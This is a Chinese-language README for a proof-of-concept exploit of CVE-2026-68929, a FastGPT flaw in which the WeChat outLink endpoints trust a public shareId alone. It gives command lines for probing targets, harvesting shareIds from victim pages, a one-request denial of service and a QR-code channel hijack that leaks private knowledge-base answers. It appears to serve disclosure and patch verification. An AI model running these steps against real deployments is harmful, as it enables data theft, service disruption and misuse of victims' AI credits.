| CVE | CVE-2026-68929(CVSS 4.0 9.3 严重) |
| 公告 | GHSA-q4pr-3qpg-9q5v |
| 受影响版本 | FastGPT >= 4.14.10, < 4.14.29 以及 >= 4.15.0, < 4.15.2 |
| 修复版本 | 4.14.29 和 4.15.2(PR #7260) |
| CWE | CWE-862(缺少授权)、CWE-306 |
/api/support/outLink/wechat/ 下的三个管理端点仅凭请求中提供的 shareId 即可授权跨租户写入操作——而 shareId 正是 FastGPT 打印在每个分享聊天 URL、iframe 和嵌入内容中的标识符:
logout — 由 authOutLinkValid 把关,但这仅检查存在性,随后清除 outLink 中存储的微信 app.token 并强制将 app.status 设为离线。任何持有公开 shareId 的匿名调用者只需一个请求即可摧毁一个团队的频道。qrcode/generate — 同样仅做存在性检查;返回一个缓存在 publish:wechat:qrcode:<shareId> 下的 iLink 登录二维码。qrcode/status — 完全没有授权调用;当二维码被确认后,它会将扫描者的 bot_token / accountId / baseUrl 写入由 shareId 标识的 outLink 并开始轮询。谁扫描二维码,谁就能选择机器人。用攻击者的微信扫描后,受害团队的应用程序就会被桥接到攻击者的机器人上:私有知识库的答案会流出,而受害者的 AI 积分则为此买单。
零依赖——仅使用 Python 3 标准库。
# 1. 安全指纹探测(使用不存在的 shareId;易受攻击的版本预期返回代码 501 linkUnInvalid,
# 已修补的版本则返回认证错误)
python3 poc.py probe --url http://localhost:3000
# 2. 从分享聊天链接 / iframe / 嵌入内容中收集公开的 shareId
python3 poc.py harvest --target "https://victim.example/chat/share?shareId=XXXX"
python3 poc.py harvest --target saved-page.html
# 3. 单请求 DoS — 清除频道绑定
python3 poc.py dos --url http://localhost:3000 --share-id XXXX
# 4. 频道劫持 — 生成 victim-qr.png;用攻击者的微信扫描该二维码,
# 脚本将轮询直至绑定翻转
python3 poc.py hijack --url http://localhost:3000 --share-id XXXX
从仓库官方 compose 模板(deploy/version/v4.15/docker-compose.template.yml)部署 4.15 系列的 FastGPT,并将镜像固定为 v4.15.1(该分支最后一个易受攻击的版本)。创建一个应用,发布它,在发布设置中添加微信 outLink,然后对其运行 probe / dos / hijack。无需完成真实的 iLink 机器人注册即可观察到授权缺陷——这些变更处理程序的匿名可达性本身就是漏洞所在。
仅用于授权测试和防御验证。修复版本自 2026 年 7 月起已发布——如果你运行的是带微信频道的 FastGPT,请升级到 >= 4.15.2(或 >= 4.14.29),并重新绑定任何在暴露窗口期内存续的频道。